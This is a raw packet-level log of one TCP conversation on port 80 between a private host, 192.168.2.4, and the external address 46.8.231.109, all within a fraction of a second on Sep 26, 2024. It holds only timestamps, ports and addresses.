Sep 26, 2024 19:05:16.202228069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.202295065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.202358961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.202389002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.202439070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.202445984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.202480078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.202502966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.202596903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203021049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203083038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203110933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203130007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203155041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203170061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203170061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203208923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203222990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203284979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203542948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203596115 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203634977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203644037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203677893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203696012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.203711033 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.203747034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.204370975 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.204437017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.204452038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.204571962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.204984903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.205024004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.205071926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.205144882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.205712080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.205770016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.205789089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.205832958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.205849886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.205889940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.206305981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.206371069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.223220110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.223293066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.223372936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.223429918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.223459005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.223504066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.223901987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.223958969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.223958969 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.224039078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.224067926 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.224128008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.224618912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.224651098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.224708080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.224708080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.224716902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.224778891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.224798918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.224869013 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.225428104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.225507975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.225512028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.225593090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.225639105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.225639105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.226299047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.226361990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.226368904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.226411104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.226439953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.226455927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.226455927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.226500988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.226990938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.227056026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.227134943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.227138042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.227196932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.227196932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.227839947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.227904081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.227946043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.227971077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.227983952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.228022099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.228034973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.228116035 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.228148937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.228166103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.228662014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.228746891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.228785038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.228821993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.228828907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.228916883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.229326963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.229338884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.229372978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.229406118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.229406118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.229408026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.229480028 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.229480028 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.230276108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.230340004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.230351925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.230415106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.230422020 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.230503082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.230984926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.231065035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.235461950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.235583067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.235595942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.235651016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.235661030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.235817909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.235908031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.235970974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.235996008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.236038923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.236052036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.236109972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.236685038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.236705065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.236731052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.236747980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.236749887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.236813068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.236813068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.237186909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.237210989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.237231016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.237271070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.237271070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.237315893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.237798929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.237814903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.237840891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.237860918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.237879038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.237879038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.237956047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.238580942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.238606930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.238631010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.238689899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.238689899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.239149094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.239343882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.239361048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.239404917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.239408970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.239432096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.239463091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.240154028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.240175009 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.240200043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.240207911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.240227938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.240252018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.240252018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.240375996 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.240930080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.240952015 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.240977049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.240999937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.241003990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.241003990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.241027117 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.241070032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.241739988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.241764069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.241787910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.241810083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.241837025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.241837025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.242599964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.242681026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.242683887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.242747068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.242750883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.242809057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.242810011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.242872953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.245446920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.245546103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.245696068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.245776892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.245794058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.245856047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.246089935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.246154070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.246179104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.246294975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.246517897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.246579885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.246623039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.246623039 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.246912956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.246975899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.247049093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.247049093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.247059107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.247140884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.247145891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.247221947 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.247755051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.247796059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.247833967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.247833967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.247837067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.247920036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.248310089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.248383999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.249041080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.249108076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.249178886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.249205112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.249298096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.249602079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.249623060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.249649048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.249671936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.249671936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.249699116 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.250070095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.250091076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.250118017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.250140905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.250140905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.250155926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.250159025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.250204086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.251112938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.251135111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.251159906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.251183033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.251185894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.251185894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.251207113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.251228094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.251264095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.251264095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.251316071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.251976967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.251996994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.252023935 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.252024889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.252053022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.252059937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.252070904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.252103090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.252995014 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.253019094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.253046989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.253057957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.253074884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.253077030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.253097057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.253118038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.286704063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.286782026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.286796093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.286860943 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.286861897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.286905050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.287456036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.287512064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.287513018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.287554979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.287569046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.287609100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.287611961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.287655115 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.317468882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.317550898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.317578077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.317608118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.317615986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.317662001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.317714930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.317755938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.317781925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.317842007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.317862988 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.317923069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.317945957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.318005085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.318392038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.318434954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.318454027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.318474054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.318475008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.318515062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.318517923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.318556070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.319056034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.319112062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.319123030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.319180965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.319201946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.319247007 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.319269896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.319328070 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.320053101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.320117950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.320130110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.320172071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.320194006 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.320260048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.320280075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.320338011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.320362091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.320403099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.321167946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.321239948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.321252108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.321305037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.321336985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.321376085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.321381092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.321429014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322006941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322073936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322088003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322132111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322153091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322211981 CEST	49735	80	192.168.2.4	46.8.231.109
